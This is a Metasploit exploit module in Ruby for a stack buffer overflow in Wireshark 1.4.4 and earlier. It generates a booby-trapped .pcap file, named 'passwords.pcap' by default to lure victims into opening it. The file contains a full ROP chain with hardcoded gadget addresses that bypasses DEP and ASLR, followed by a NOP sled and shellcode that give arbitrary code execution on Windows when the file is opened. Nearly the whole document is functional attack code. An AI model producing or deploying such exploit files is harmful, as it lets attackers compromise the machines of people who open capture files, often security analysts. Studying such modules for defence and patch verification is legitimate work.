require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow',
'Description'=> %q{
This module exploits a stack buffer overflow in Wireshark <= 1.4.4
When opening a malicious .pcap file in Wireshark, a stack buffer occurs,
resulting in arbitrary code execution.
This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'sickness',
'corelanc0d3r'
],
'Version'=> '$Revision: 12364 $',
'References' =>
[
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17185' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload'=>
{
'Space' => 936,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets'=>
[
[ '32-bit Windows Universal (Generic DEP & ASLR Bypass)',
{
'OffSet' => 1243,
'Ret'=> 0x667c484d,
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 18 2011',
'DefaultTarget'=> 0))
register_options(
[
OptString.new('FILENAME', [ true, 'pcap file','passwords.pcap']),
], self.class)
end
def junk
return rand_text(4).unpack("L")[0].to_i
end
def exploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
global_header = "\xd4\xc3\xb2\xa1"
global_header << "\x02\x00"
global_header << "\x04\x00"
global_header << "\x00\x00\x00\x00"
global_header << "\x00\x00\x00\x00"
global_header << "\xff\x7f\x00\x00"
global_header << "\x01\x00\x00\x00"
packet_header = "\x26\x32\xac\x4d"
packet_header << "\xda\xfa\x00\x08"
packet_header << "\x04\x06\x00\x00"
packet_header << "\x04\x06\x00\x00"
ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"
print_status("Preparing payload")
pivot = [target.ret].pack('V')
rop_pivot =
[
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
0x64f9d5ec,
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
0x61C14268,
0xFFFFFFFF,
0xFFFFFFFF,
0xFFFFFFFF,
0xFFFFFFFF,
0xFFFFFFFF,
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
].pack("V*")
rop_gadgets =
[
0x6d7155cb,
junk,
0x6d596e31,
junk,
junk,
0x61c14552,
0x00000800,
0x61c14043,
0x0000009C,
0x6d58321a,
junk,
junk,
0x68610a27,
0x629445a6,
0x62d9027c,
0x6c385913,
0x617bc526,
0x64f8c692,
0x00000040,
0x619638db,
0x6536B010,
0x618d7d0d,
0x618d7d0e,
0x64fa0c15,
0x618d7d0e,
0x61963fdb,
].pack("V*")
pivot = [target.ret].pack('V')
buffer = rand_text(131)
buffer << rop_pivot
buffer << rop_gadgets
nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))
buffer << nops
buffer << payload.encoded
buffer << pivot
filler = 1540 - buffer.length
buffer << rand_text(filler)
filecontent = global_header
filecontent << packet_header
filecontent << ptype
filecontent << buffer
print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")
file_create(filecontent)
end
end